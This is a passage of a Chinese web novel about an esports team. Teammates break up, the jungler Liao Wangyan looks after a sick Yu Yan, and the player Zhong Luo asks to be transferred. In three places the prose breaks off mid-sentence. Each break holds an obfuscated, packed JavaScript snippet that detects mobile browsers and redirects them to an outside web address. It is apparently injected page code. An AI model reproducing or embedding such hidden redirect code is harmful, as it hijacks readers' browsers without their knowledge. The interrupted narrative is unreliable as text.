老姚伸脖子看于琰的战绩,点了点头没说话。 钟络没回自己的位置,而是一直站在廖望延椅子后面看着他操作人物。 看着他入侵PNG野区,看着他帮助队友拿下人头,看着他小规模团战掌握时机的能力,看着他5v5团战永远能开到最关键的C位。 看着上把折磨自己的时光在这局里只能缩在塔下艰难吃兵,钟络不得不承认,自己输的彻彻底底。 这局游戏22分钟左右结束,于琰的妖姬爆炸C。 他退出游戏向左边伸出手,拍了拍廖望延的肩膀说道:“怎么样,哥的妖姬说C就能C。” 说罢转身想向廖望延做个鬼脸,却在扭头时发现了站在身后的钟络。他收起脸上生动的表情,将视线转回到自己电脑上。 廖望延早就感觉到了自己身后站着人,只是一直没搭话罢了,退出游戏后他看向老姚:“还有什么安排吗?” 老姚边回PNG教练的消息边说:“没了,你们收拾收拾回屋吧,今天就到这。” 于琰起身伸了个大大的懒腰,关掉电脑准备上楼。 钟络拦住他,扯起一个勉强的笑容:“小琰,咱们能谈谈吗?” 21.Chapter21 于琰看了钟络一眼没说话,对于第二把训练赛里钟络的甩锅行为其实他也有点生气。 廖望延替他拿起挂在椅背上的外套,斜身从钟络和于琰中间挤过去,临走前斜眼瞟了于琰一眼,扔下一句:“完事了叫我,你妈给我买的衣服还在你衣柜里挂着。” 于琰莫名其妙挨了个白眼正纳闷呢,钟络又说了一遍:“小琰,不会耽误你很久的,就聊几句,行吗?” “嗯。” 二人步行至餐厅落地窗前,于琰肩膀倚着玻璃看向屋外的路灯。 “小琰,我想先跟你道个歉,刚才游戏里的那句话我不是有意的,我就是当时太着急了有点慌不择言。” 钟络迫切的想要得到于琰的回应,从老姚那里得到的指责太多,此时如果能得到于琰的体谅,他心里或许会好过一点。 可看风景的某人压根没有搭话的想法,钟络看着他表现出来的疏离勉强一笑继续说:“我知道我这一周对你的态度让你觉得不舒服,但我只是一时没办法将心态调整过来,能不能再给我点时间?我会调整好的。” 窗外靠近基地一侧的路灯忽明忽暗,大约是线路出了些问题,跟对面那一排好路灯相比,莫名显得有些不合群。 就像是现在的钟络和HG的其余几人。 于琰看着亮三秒就要暗十秒的路灯问钟络:“后悔吗?当初跟我提出谈恋爱。” 钟络被问的一愣,微微摇头:“不后悔,没什么可后悔的。” “可我后悔了。”于琰将肩膀从玻璃上抬起,面对着钟络直视他的眼睛,“我后悔当初想的太少,单凭着喜欢就答应你了。” 从兜里掏出一颗青苹果味的软糖,是上午从邵乖手里抢来的,撕开包装塞进嘴里,清爽的味道遮住于琰微微发苦的口腔。他上火好几天了,额头和下巴都起了痘,肿得泛红一碰就疼。 看着钟络被自己的话伤到垂下眼帘不再开口,于琰咂了两下嘴,将后背倚在玻璃上说:“那次阿延质问咱们的话真的很对,我应该想到这么轻率的确定关系可能会影响职业水准,因为现在我发现,你确实被影响得很厉害。” 钟络慌忙地解释:“这次训练赛只是个失误,我能调整好的,再给我一周……不,三天!我一定能回到之前的状态。” 于琰摇摇头:“你家里的事影响了你几乎一整个赛季,你又怎么敢保证自己这次一定能调整好?” “可能我接下来的话有点伤人,但希望你见谅。” “我以为不管私下怎么样,但对待职业应该是敬畏、尊重、尽全力的,可你做不到。当你找不到头绪的时候,第一反应不是解决问题,而是将问题甩给别人,今晚这种甩锅的事情已经不是你第一次做了。” “你可能要反驳我,但请你等我说完。自从你家出了事,你赛场表现就极其不稳定,所以老姚把指挥分给了我和水哥,结果不用我多说。输比赛谁都有责任,五个人一条心输了那是技不如人,我认,但如果明明能赢的局却因为外界原因而输,我不认。” “我喜欢的你,是日日通宵训练,困了就用冰咖啡提神,那个不服输的你。不是现在这个自己心态调整不好,还要用情绪影响全队的你。” “你说你只是一时没办法将心态调整过来,可你只口不提其他人,被你放养了整局的邵乖你没说,被你带了很多波节奏的吴醒和左星水你也没说,你只知道和我解释分手了状态调整不过来,那我这一周被你影响到的心态呢?其他人也应该被你的个人原因影响吗?” “钟络,个人时间咱们怎么聊都好,但训练期间我不允许外界因素影响我,或者说影响全队,因为我们没有义务被影响,我想说的说完了。” 于琰站在原地等着钟络的解释,可等了两分钟也没能等来对面人的开口,他叹了口气迈开脚步与钟络擦肩而过。 没开灯的餐厅里,钟络站了许久。 迈着沉重的步伐上了楼,于琰心情也挺复杂的。刚才话说的太重,也没考虑过钟络能不能接受。 走到自己房门前,就看见一个大型生物蹲在门口玩手机。 于琰抬腿踢了踢他:“不是让我叫你吗,还蹲在这等着干什么?” “怕你和哪个野男人私奔了,在这守着以防你回来收拾行李卷铺盖走人。”廖望延起身锤了锤发麻的腿。 于琰边开门边翻白眼:“你给我好好说话。” “我怎么不好好说话了?我也没打扰你和前男友谈心叙旧吧?”廖望延跟着他的脚步进到房间,从衣柜里拿出于琰妈妈给自己买的大衣。 “他就是和我解释一下刚才比赛的事,没说别的,你夹枪带棒的干什么。” “我没夹枪带棒啊,你想多了。”廖望延倚在于琰床头,大衣搭在自己的小腹上。 “行行行,我想多了,衣服拿完了你还不走?” “哦,和前男友聊完就赶我走是吧?我碍事了哈?是不是一会还要邀请他在房间里聊一聊,重燃一下爱情的小火苗啊?” 于琰真是服了他了,在楼下聊了一共不到十五分钟,怎么就被他解读成这样了。 “没赶你,你也不碍事,我也没兴趣和他重燃旧爱,现在放心了吧?” “不放心,放不了心。” 于琰烦了,走到床边用廖望延身上的大衣捂住他的脑袋,边用力边说:“你再这么说话我就憋死你!” 廖望延也不反抗,双手平放在床上,声音闷闷的从大衣底下传来:“谁知道你们在底下聊什么了,没准人家掉两颗小金豆子你就心软了。” 松开抓着大衣的手,于琰从他身边坐下,俯身抓起床头柜上的烟叼在嘴里,又从抽屉里掏出抢来的一块钱塑料打火机将其点燃。 “他都没怎么说话,除了一开始和我解释了两句,后面都是我在说狠话,现在放心了?” 廖望延单手撩开自己脸上的大衣,指节插进头发里随意地扒拉了两下,本被压平的头发重新恢复至蓬松。 “说的什么狠话,给我听听呗。”他表现出了极大的兴趣。 “还能说什么,就说他今天表现不好呗。”于琰简单直白地解释,“他甩锅也不是一次两次了,之前我觉得这是小问题,现在发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14493919|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现他这毛病真的很烦人。” “嗤,没本事的人才会甩锅,像我这种打野都是主动往自己身上揽责任。”廖望延抽空摸空就要将自己和钟络对比一下,以展现出自己的优势。 “行行行,冠军打野就是有心胸行了吧,现在还有什么想问的?你话里话外冷嘲热讽不就为了知道我俩聊什么了吗,现在既然知道了,能不能把我的床让出来了?” “你以为我愿意躺你这个狗窝?一枕头的狗毛。我想采访你一下,你是不是脱发啊?以后变地中海可别说咱俩认识。” 于琰咬牙切齿地用食指点在廖望延的鼻尖上:“老子枕头上就两根头发,你从哪看出我要脱发了?硬造谣是吧!” 廖望延打开他的手指头,捞起大衣站了起来,边往门口走边继续造谣:“明天我和你妈聊聊,让她少给我买两件衣服,多给亲儿子买点黑芝麻。” 门随着廖望延的出去而关上,于琰气不过拿矿泉水瓶往外扔,瓶子撞击门板发出咚的一声响。 听见于琰的水瓶警告,廖望延在门外轻轻笑了一下,正往自己卧室走就看见了站在楼梯口的钟络。 他挑了挑眉,准备当作没看见。 “延哥,他还好吗?”钟络率先开了口。 心里叹了口气,廖望延停下脚步,微笑着看他:“挺好的,没听见刚才那一声吗?我要是出来的再晚点,声音就不是从门上传出来,而是从我后脑勺发出来了。” “是吗,那就好。” “还有事吗?没事我就先走了,训练一天有点累了。”和于琰的前男友有什么可聊的,有这个时间还不如回去多玩两把消消乐。 “延哥,你觉得我还有机会吗?”钟络又开口。 “机会不是我觉得怎样就怎样,如果你维持今天这样,那确实没机会了。”廖望延没怎么给钟络面子。 其实钟络这话有两层含义,恰巧廖望延回的这句话也有隐喻。 一个问的是职业,一个答的是感情。 “我明白了,打扰延哥休息了。” “嗯,那我走了。” 廖望延也没和他客气,大步走回了自己的卧室。 将衣服套上防尘袋,挂在自己衣柜的最左侧,廖望延掏出手机给于琰拍了张照片。 【傻狗:?】 【Y:你也有你妈给买的羊绒大衣吗?】 【傻狗:明天我将从基地旁边的居民楼下来。】 【Y:怎么说?】 【傻狗:不走楼梯,不走电梯。】 【Y:现在定白菊花来得及吗?】 【傻狗:来不及了,因为我会带你一起走。】 廖望延发了个惊讶熊猫头的表情包,退出聊天点开朋友圈,少见的发了一条动态。 [有妈的孩子像块宝~] 配图为刚给于琰发过去的大衣照片。 看着点赞和评论几乎每一秒都在增加,他撇下手机双手卡在脑后,想着刚刚和钟络的那几句对话,不由得笑了一下—— 瞌睡上来就有人给送枕头,真是天大的美事。 22.Chapter 22 于琰感冒了。 这事还得怪廖望延。 要不是他贱了吧唧的招欠,于琰也不会气上心头开窗吹冷风,这一吹不要紧,第二天起床直接变身鼻塞星人。 他少有的早上八点就起了床,鼻塞憋得要命决定出门呼吸一下新鲜空气,顺便去早点铺子吃两屉小笼包。 下楼刚好遇见正要推门而出的廖望延,一嗓子吓得门口某人浑身哆嗦了一下。 “老!狗!比!” 廖望延虎躯一震,拧过头看楼梯上的于琰:“你又犯什么病?” 三步并成两步跨层迈台阶,于琰揪着他梳在脑后的小辫子,拽得他脑袋直往后仰:“你欠我的到底用什么还!” 这话有点耳熟,好像有人和他说过…… 听着他鼻塞的声音廖望延也没细想,微微皱眉:“感冒了?不好好歇着出来作什么妖。” “老子就是因为你才感冒的!”于琰咬着牙说。 “少什么都往我头上赖,把你的狗爪子给我撒开,你穿成这样干嘛去?” “鼻塞,睡不着觉,出门吃个早饭。”于琰被廖望延拧着胳膊,不得已才放开了抓着他头发的手。 “吃个屁,回屋躺着,一会等我跑步回来给你买。” 于琰的外出早饭计划就这么胎死腹中,瘫在床上玩了一个小时的斗地主,豆子都输没了三次,廖望延才提溜着塑料袋推门而入。 “蟹粉小笼,赶紧往你狗嘴里塞,吃完过十五分钟再把这个药吃了。”他把早饭和药盒一起塞进了于琰怀里。 “你对病号还敢这么说话?!你还有没有良心!” 于琰伸手就往袋子里掏,被小笼包表皮烫到发出“嘶”的一声。 也不知道是不是廖望延的错觉,他总感觉于琰现在比一小时前的鼻音还重。 “吃还堵不上你那张狗嘴,我回去冲个澡,一会回来盯着你吃药。” “你当老子小学生啊,吃药还需要人看着?” “少往自己脸上贴金,你哪点比得上小学生?你这智商顶多够得上幼儿园大班水平。” 廖望延边出门边说,临了关门还不忘了威胁于琰:“你要是敢把门反锁,我就和你妈告状。” 于琰嘴里塞着小笼包震惊地看着他把门合上,把嘴里的包子当成老狗比嚼吧嚼吧咽了下去。 二十分钟以后,脖子上挂着毛巾的廖望延第二次推开于琰的门。 “吃完了?药盒打开,吃一粒。” 于琰听着这种哄孩子的语气翻了个白眼,嘴里嘟嘟囔囔抠出一粒胶囊用水顺下肚。 “吃完了,滚吧。” 廖望延弯下腰从他手里拿回药盒,坐在椅子上老神在在地抖腿:“少废话,有事问你。” “有屁快放,老子是病人,要休息了。” “昨天没来得及问你,你和某位不知名前男友到底打算怎么办啊?” “廖望延你给我好好说话,人家没名字是吧?什么叫不知名前男友啊,你这前缀挂的不知道的还以为我是渣男。” 于琰不知道他对钟络哪来的那么大敌意,只好耐着性子解释:“而且没什么可办的啊,分了手他也是我队友,总不能让我把他赶出HG吧?我又不是老板。我该干什么干什么呗,他有本事就来和你争首发,没本事就替补呗。” “我的意思是,你确定不会和他复合了是吧?”廖望延点出重点。 “我有病啊跟他和好?” 于琰不明白他为什么会问出这句话,不管从各个层面来看,他和钟络也不会再有可能了。 “你现在确实有病,但只要你脑子没病就行。” 廖望延把药盒塞进抽屉里起身,边走边交代:“一会药效起来就睡觉,别锁门,四个小时以后我来叫你。” “知道了知道了,你烦不烦啊。” 廖望延只是想明确的知道于琰现在的想法。 毕竟这是他第一次谈恋爱,免不了会有所留恋,万幸于琰原则性还挺强,听见他坚定否认的时候,廖望延在心里舒了口气。 中午盯着于琰吃完午饭和药后重新睡着,廖望延轻轻合上房门,替他跟老姚请了个假。 “姚哥,于琰有点感冒,今天就别让他训练了,就算起来也打不好。” “行,身体要紧。” 老姚没多问,身体是革命的本钱,这个道理他明白。 进训练室路过钟络座位时,廖望延无意间扫了一眼他的手机屏幕,没看清聊天框内容,只看见了备注里有个DL。 下一秒便被略有所感的钟络按下锁屏挡住了聊天。 回到自己位置的廖望延在脑子里转了一圈,不由得低下头无声笑了一下。 看来这都不是送枕头了,有人想直接送一间房。 以往廖望延都是和邵乖练四个小时再和于琰练四个小时,今天后者既然请了病假,那自然得找个替补上来。 撇下被训练得灵肉分离的邵乖,廖望延对着想逃的吴醒发出召唤:“来吧Nap,今天你来代替于琰的位置,水哥,辛苦你后面自己单排了。” 听着左星水轻易地答应下来,Nap欲哭无泪:“水哥,你就这么放弃我了?” 左星水按下单排按钮,推了推自己鼻梁上的无框眼镜:“小醒,进步的路上就是会有点痛苦的,习惯就好了。” 失去灵魂地进入廖望延的双排车队,吴醒度过了噩梦般的游戏时间。 强度拉满的四个小时,吴醒硬生生玩了六把自己不常玩的巴德,现在他看见这个英雄就想吐。 直到老姚推门而入叫大家去休息,他才终于松了口气。 老姚叫住落在最后的廖望延,在训练室和他照例聊了聊训练情况,最后想起来刘国柱嘱咐他的事:“对了Mesh,这几天开个直播吧。国柱还是昨天跟我说的,差点就把这事给忘了。 ” “行啊,不过这两天怎么没看见刘哥?”廖望延随口问道。 “去隔壁市出差了,明后天回来。” “行,那我周末开播,姚哥还有别的事吗?” “没了,回去歇着吧,顺便替我看看于琰怎么样了。” 老姚先行走出训练室,廖望延拿着酒精湿巾将自己和于琰的桌子擦了一遍才心满意足地离开。 去餐厅接热水的路上正好碰见从门外进来的钟络,他意外地问:“这么晚还出去了?” 钟络带着冬日夜晚的寒气走近,不知是因为一晚上的训练还是因为出门需要处理的事情,他显得格外疲惫。 听见问询他扯了扯嘴角:“嗯,有点事,延哥我先去休息了。” 廖望延看着渐远的身形,目光停留在他右手拎着的盒子上,那明显是经过女生二次包装后的礼盒。 盯了几秒后他收回目光继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502920|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往餐厅走。 别人的事都是小事,盯着于琰喝热水才是大事。 廖望延反坐椅子,手肘撑在椅背上,下巴卡在手掌虎口,饶有兴趣地看着于琰被热水烫得呲牙咧嘴。 察觉被看了笑话的人也懒得和他计较,吃了药睡了一整天的他感觉又满血复活了。 "我现在觉得我能通宵打一晚上游戏!"于琰放下水杯气势高涨地说。 “不急,明天你得跟我双排一天呢,毕竟今天缺的四个小时得补上。”廖望延打了个哈欠慢悠悠地回。 于琰震惊脸:“不是哥们?你也是人?这还带补的???” “认真负责是我的代言词。水杯放下,你敢往我这扔明天我就敢进医院。” 于琰成功被威胁,放下手里的玻璃杯愤恨地盯着他。 “小绿豆眼瞪什么瞪?再瞪就给你抠了。对了,有个事提前知会你一声。” “说。” “我觉得钟络有问题。” 廖望延将手肘从椅背上拿下来,换成下巴抵在上面。 于琰没明白:“有问题?什么意思?” “今天下午我路过他位置的时候无意间看见了他的聊天框,虽然没看清内容是什么,但和他说话的是DL的人,我看见备注了。” “什么?!!DL?!!”于琰一嗓子嚎了出来。 廖望延翻了个白眼:“小点声,真当自己是村口大喇叭呢?你再大点声全世界都听见了。” “你的意思是钟络要去DL?他合同还有一年呢啊。” 于琰掀开被子,从床头爬到床尾,小声和廖望延逼逼。 “我也没说他肯定要去,但是和DL的人还能聊什么?就是跟你说一声,让你有个心理准备,没准。” “就因为我和他分手了,他就要转队?”于琰还是不明白。 “你的分手狠狠伤了他的心,而队伍里又来了个我,想转会很正常吧。” 如果按照自己的猜想发展,这个事十有八九会在经理刘国柱回来后确定下来。 “不行,我要去找他聊聊。”于琰作势就要下床。 廖望延拦住他:“滚回去躺着,瞎折腾什么?现在八字还没一撇,你问了他也不一定说。” “等他八字有一撇不就晚了。” 于琰没听他的话,趿拉上拖鞋就要出门。 “站住。” 廖望延叫住于琰,看着他因为自己的话而停下脚步,站起身拎着他的后颈往后拽,直至将他拽回至床边。 “他是成年人了,做事有自己的想法,你想去找他说什么?说让他留在HG好好奋斗?你好好想想,如果这件事是真的,他为什么要走?还不是觉得在HG没有出路吗。” “可是……”于琰还想坚持自己的想法。 “没有可是,睡觉,不想让我告状就老老实实听我的话。” 廖望延没给他说话的机会,扒拉下他的拖鞋,将他一把掼进床里,半强迫地替他盖上被子,居高临下地看着他。 “妈的,听你的还不行吗,少用这种眼神看着我,烦死了。” 于琰还是妥协了。 感受到灯光被关闭,本明亮的屋子重新变为漆黑。 于琰听着廖望延渐远的脚步声和卧室门被关上的轻响,在心里暗道—— 钟络……可千万别头脑发热做错了选择…… 23.Chapter 23 第二天于琰还是耐不住性子想找钟络聊聊,但却发现他没出现在训练室里。 脑袋像开了自动转向的电风扇一样四处逡巡,被老姚一笔记本拍在后脑勺上:“不打游戏瞎看干什么呢?” “钟络呢?这都到训练的时间了他怎么还没来?”于琰问。 “中午吃饭也没来哦。”Nap在旁边开口。 老姚上午有事没在基地,中午吃饭也没回来,听见二人的话皱了皱眉:“不知道啊,也没跟我请假,难道是和国柱说了?我问问。” 说罢就掏出手机点开了微信语音,哥只是个传说的铃声唱到第二句对面的人就接了起来。 “喂?啥事?” “钟络和你请假了?”老姚皱着眉问。 “啊?没有啊,我又不在基地,有什么事不都是直接找你吗?”刘国柱疑惑的声音顺着扩音器传出来。 “他也没和我请假,这都到训练时间了也看不见人。” “你给他打电话看看,可能是睡过点了呗,以前于琰不也有过这种情况。” 刘国柱没把这种事放心上,偶尔迟到个几分钟是常有的事。 于琰听见陈年旧事又被提起不由得抬起声调:“小国柱,这件事你得记我一辈子是吧?!” “行了,先挂了,我联系一下他。” 老姚没给于琰和刘国柱对线的机会,挂了语音就给钟络打了过去。 微信语音响了半天没人接,老姚又换成电话,结果也是等到了自动挂断。 看着联系不上的钟络他有点着急,和众人说了一声自己训练就出了门。 于琰看着老姚的一套操作下来心里有了不好的预感,不由得拍了拍身边正在上号的人:“啥情况啊?” 廖望延拍开他的爪子,将右耳上带着的耳机扒拉到耳后,毫不在意地说:“少八卦,多训练,来双排。” 于琰压下心里的疑惑,进入了廖望延的游戏房间。 一旁上楼敲门的老姚扑了个空,钟络没在房间里,他第二次将电话拨过去,听着电话响了将近半分钟,对面才接起来。 “姚哥。” “钟络,训练时间为什么不在基地里?”老姚语气中带着不满。 电话那头的人沉默了两秒才开口:“不好意思啊姚哥,临时有点事,可能得晚一点才能回去。” 听见这句话老姚更气了:“那你为什么不请假?” “对不起,确实临时有急事,没来得及请假就赶着出门了。”钟络不紧不慢地解释。 “什么急事能急到和我说两句话的时间都没有?你就算是手机上通知我一声也行啊,十秒钟的时间都没有?现在没有赛程你就可以这么松懈了?” 老姚愈发的对钟络感到不满,连带着语气也越来越差,嗓门也高了起来。 “抱歉姚哥,不是故意的,我这边还有事要解决,等我回去再聊。” 钟络说完就将电话挂断,丝毫不顾及电话这头的老姚还要继续说话。 看着从通话界面变成壁纸,老姚毫不压抑地骂了句国粹。 “草。” 等钟络回来他非得问问,到底是什么事能忙成这样。 时间一眨眼到了晚上十一点,众人都已经结束了一天的训练回屋休息,老姚就坐在会客区的沙发上等着钟络。 一直等到快要零点,消失了整整一天的人才推门进来。 合上门的钟络正要往楼梯走,就听见了沙发那头满含怒气的声音:“舍得回来了?” 钟络愣了愣,他没想到都这个时间了老姚还能在客厅里。 他转变方向从老姚对面坐下,像是白天的事没发生过一样淡然开口:“姚哥这么晚还没休息啊?” 老姚被气笑了:“休息?我的好队员连个假都不请整整消失了一天,我想看看到底是什么急事能忙成这样,要不你给我解释解释?” “一点私事。”钟络不想多说。 “钟络!”老姚把笔记本摔在桌子上,“你到底是什么意思?无故消失一天,假也不请,原因也不说,训练赛表现得那么差现在还消极怠工,你是不是不想干了?!” 也不知道是不是最后一句话刺激到了钟络,他轻轻笑了笑,把挂在桌边摇摇欲坠的笔记本推回到安全的地方。 “姚哥别生气,运气好的话过一阵子你就看不见我了。” 老姚被说得一懵:“你什么意思?” “没什么意思,明天刘哥不就回来了吗,我想和他商量一下挂牌的事。” “挂牌?你想转会?” 老姚傻了,他怎么也想不到钟络不声不吭的决定了这么大的事。 “是啊。当然了,如果队里需要我就留下,但我觉得现在也不怎么需要我,那不如把我挂牌卖了,毕竟现在队里有更好的打野选手了,不是吗?”钟络面带笑容地解释。 “你有心仪的下家了?” 老姚不得不这么想。毕竟钟络的合同还有一年,明年才会变成自由人,在这之前如果想走只能由HG这边挂牌,很少有选手在合同期内主动请求挂牌售卖自己。 钟络否认道:“不不不,姚哥,你可别乱说啊,合同期内私联其他俱乐部我要被禁赛一年的,虽然我知道你现在对我很不满,但这种话还是不能乱说吧。” 老姚深深地看了他一眼,这一瞬间,钟络变成了让自己觉得陌生的人。 到底是什么能这么迅速的改变一个人的脾性? 以前的钟络从来不会这么说话。他性格温和又知道努力,所以即便知道他有心理阴影导致赛场发挥不好,大家也从来不会埋怨,所有人都在包容体谅他。 但只需要半个月,这个人就变成了截然相反的样子。 “是因为我前几天说你训练赛打得不好?那些话伤到你了,所以你就想走?如果是因为那些话,我可以和你道歉,是我说的太重没考虑到你能不能接受。”老姚还在竭力找原因。 钟络摇摇头:“我知道姚哥你为我好,只是我单纯觉得在这出不了头了。况且我和于琰的关系摆在这,走了对谁都好吧?” 老姚还想挽留,被他截断话头:“不用劝我了姚哥,我已经想好了,等明天刘哥回来我就准备去谈了。” 看着他的眼神,老姚收回了嘴里挽留的话,沉默了半晌才说:“既然你决定好了我也就不说什么了,但是钟络,我是真的希望你能好起来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14506205|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我知道,谢谢姚哥,没什么事我就先上去了。” “嗯。” 钟络毫不留恋地起身转头,步伐没有半分停顿,不一会脚步声就消失了。 老姚后背一松,本还挺直的肩膀变成自然内扣,垂头在沙发里沉默了许久,解锁手机给刘国柱发去了消息—— 【真男人不玩摇摇乐:出事了,速回。】 消息那头的人早就睡了,一直没有回复。 早上七点半。 刘国柱揉着眼打着哈欠解锁手机,看见老姚半夜发的那条消息他瞬间被吓得清醒,连脸都来不及洗就拨回了语音,丝毫不管老姚是不是在睡觉。 “你昨天发的消息是什么意思?” 钟络的话让老姚一晚上没睡着,在基地的沙发上硬生生坐到了早晨。 “钟络想挂牌。”老姚哑着嗓子说。 “什么?!” 刘国柱把手机拿远,用食指掏了掏耳朵,他还以为自己听错了。 “你再说一遍,谁?想干什么?” 老姚本就一夜没睡心烦得要命,也懒得再和他重复解释,没好气地说:“就是你听的那样,赶紧回来,他要和你谈。” “我靠,我就走了三四天,怎么就出这么大的事?” 刘国柱边换衣服边打开扩音,抓紧一切时间收拾行李。 “我哪知道,少烦老子,一晚上没睡现在我要去补觉了,没事别找我。” 不管电话对面的刘国柱是否还有想说的话,老姚自顾自挂断了语音,嘟囔着用胳膊撑着膝盖站起来:“爱他妈咋样就咋样,老子不管了。” 被挂断电话的刘国柱迅速收拾好行李,退了酒店房间赶着早高峰开车回了T市。 等回到T市的时候已经十点多了,他拎着小行李箱推门而入,基地的众人基本都还没起,只有廖望延在沙发上瘫着玩手机。 “Mesh,老姚和钟络呢?”刘国柱急匆匆地问。 玩手机的人将手机扣在小腹直起身子:“不知道,早上没人出来,怎么了?” “妈的,我刚走几天啊就给我找事,钟络这几天有什么反常表现吗?”刘国柱把箱子推到一边,从餐厅拿了瓶冰水一屁股坐进沙发里。 廖望延闻言挑起了眉:“也没什么,就是前天输了一场训练赛,但是看他状态还挺稳定的,不过昨天一天没见到人算不算反常?” “一天没见到人?昨天老姚没找到他?” 刘国柱猛灌了几口水,瓶盖都懒得拧,随手放在了矮桌上。 “没有,语音和电话都没接,姚哥上楼找也没找到,不知道晚上训练结束回来了没。”廖望延随口解释。 “行,那我先不和你聊了,我上楼去找他。” “ok,有需要随时喊我。” 刘国柱对他摆了摆手,快步上了楼。 到了钟络门前,刘国柱深吸了一口气,轻轻敲了几下。 没等几秒,房门被钟络从内打开,看见来人他笑了笑,斜过身子把刘国柱请进房内,自己则是靠在门板上。 看着刘国柱从椅子上坐下,他轻轻开口:“刘哥,姚哥都和你说了吧,我想挂牌。” 24.Chapter 24 “嗯,我知道,但我还是想问问你具体原因。”刘国柱神情无比严肃。 “具体原因就是我觉得在队伍里没什么发展了,Mesh一来我毫无竞争力,而且他应该也用不上我这种替补。”钟络摊开手比了个无奈的动作。 “季后赛打完我就和你聊过队伍要买人,当时你答应的很痛快,而且还和我说会努力和新人争首发,现在还不到一个月就要放弃了?是不是有点草率了?” 钟络笑了:“刘哥,我当时如果知道你要买的是廖望延,我一定不会说出那种话的。” “钟络,为什么不能对自己有点信心呢?” 刘国柱不明白,机会都是自己争取来的,如果单单因为廖望延的过往荣誉而选择退缩,不像是钟络的作风。 “刘哥,其实也不光是因为这一点,还有一个原因是我和于琰的关系。” 刘国柱没明白:“关系?恋爱关系我知道了啊,我这两天出差,还没来得及主动和你们沟通后续事宜,怎么你主动和我提起来了?” “我俩分了。” “啥?我就出差这几天就分了?” 刘国柱简直不知道说什么好,他还没能消化自己手底下两个男队员私自恋爱的事,人家两个就自动分开了,根本用不上他这个经理棒打鸳鸯。 钟络比自家经理表现得淡定:“你们知道的当天就分了。” “能礼貌询问一下原因吗?就因为我们知道了?” “也不是,是于琰觉得我的家庭原因不太适合继续这段关系,我自己也知道,所以算和平分手。” 刘国柱点点头:“于琰说的也没错,你出来打电竞都差点没了半条命,更不要说同性恋了。就算你今天没和我说,我也打算这几天和你们两个仔细聊聊的,现在省事了。” 钟络后背靠在门上硌得肩胛骨有点疼,他直起身走到床边坐下回道:“是啊,所以我首发无望,分手以后看见于琰也尴尬,就想着不如挂牌了。” 刘国柱没说话,定神看着钟络,被盯着的人也不觉冒犯,就这么随他看。 半晌,刘国柱叹了口气:“行,我知道了,这个事我和老姚还有老板们商量一下,没问题的话我尽快帮你办。” “那就麻烦刘哥了。” 钟络仍保持着那副略带微笑的样子,刘国柱看不出他心里所想,只好告别他重新下楼。 楼下的廖望延还维持着那个姿势玩手机,听见刘国柱下来他靠在沙发上将头往后仰,看着身形倒着的经理从面前走过在自己身边坐下。 “事儿解决的挺快啊。”他将头重新直起。 “唉,别说了。” 刘国柱边聊起边重新拿起自己放在桌子上的矿泉水瓶,仰头一口将剩下半瓶闷了。 “Mesh啊,原来你这么吓人。”刘国柱看着他咂咂嘴。 “我?我怎么了?” 廖望延没明白他的意思。 “没什么,顺利的话过些天你就能知道了。” 刘国柱没多说,毕竟现在流程还没开始走,不好和廖望延透露太多,这事还得先保密。 廖望延也没多问,聪明的小脑袋瓜其实已经猜到一些了。毕竟刘国柱一进来就问钟络,结合前天发现他和DL的人私联还有昨天一天没在基地,不难判断出到底是什么事。 但既然事没到自己头上,廖望延也懒得传别人闲话。 “对了Mesh,确实有个事找你。这两天出差我给你谈了个商务,是K家新出的键盘,一会给你拿出来试试,如果感觉不错的话我把合同发你,过阵子去拍个宣传片。”刘国柱说完就准备掏箱子。 “键盘?可以啊。” 廖望延斜倚在沙发上,看着刘国柱从一堆杂物中掏出一个长条盒子。 他把盒子拆开,将键盘递给廖望延。 那是一把75配列热插拔带RGB灯光的键盘,套件颜色为黑色,键帽也是同色侧刻,QWER的位置还用正刻写出了Mesh这四个英文字母,键盘旋钮被定制成了寡妇缩小版立在键盘右上角。 廖望延第一眼就看上了,摸了半天满意地点了点头。 “刘哥,合同发我看看,我挺喜欢的。” 刘国柱“嘿嘿”一笑,把电子合同发到了廖望延微信上,自豪地说:“我就知道你喜欢,所以都没提前跟你在微信说,他们待遇给的也不错,要求是你直播和赛场都必须用这把键盘。” “行,没问题。” 廖望延把键盘放在桌子上,点开合同仔细看了看,确认无误后就签上了自己的大名。 “对了,正好姚哥说让我开直播,我本来想着周末再开流量可能会大一点,既然合同都签了,那不如今天就开吧,刘哥你觉得怎么样?” “行啊,你看着办就行。” 刘国柱当然愿意让他提前开直播,多开一天就多点流量,就冲廖望延老婆粉那个购买力,到时候新品一出何愁没钱入账。 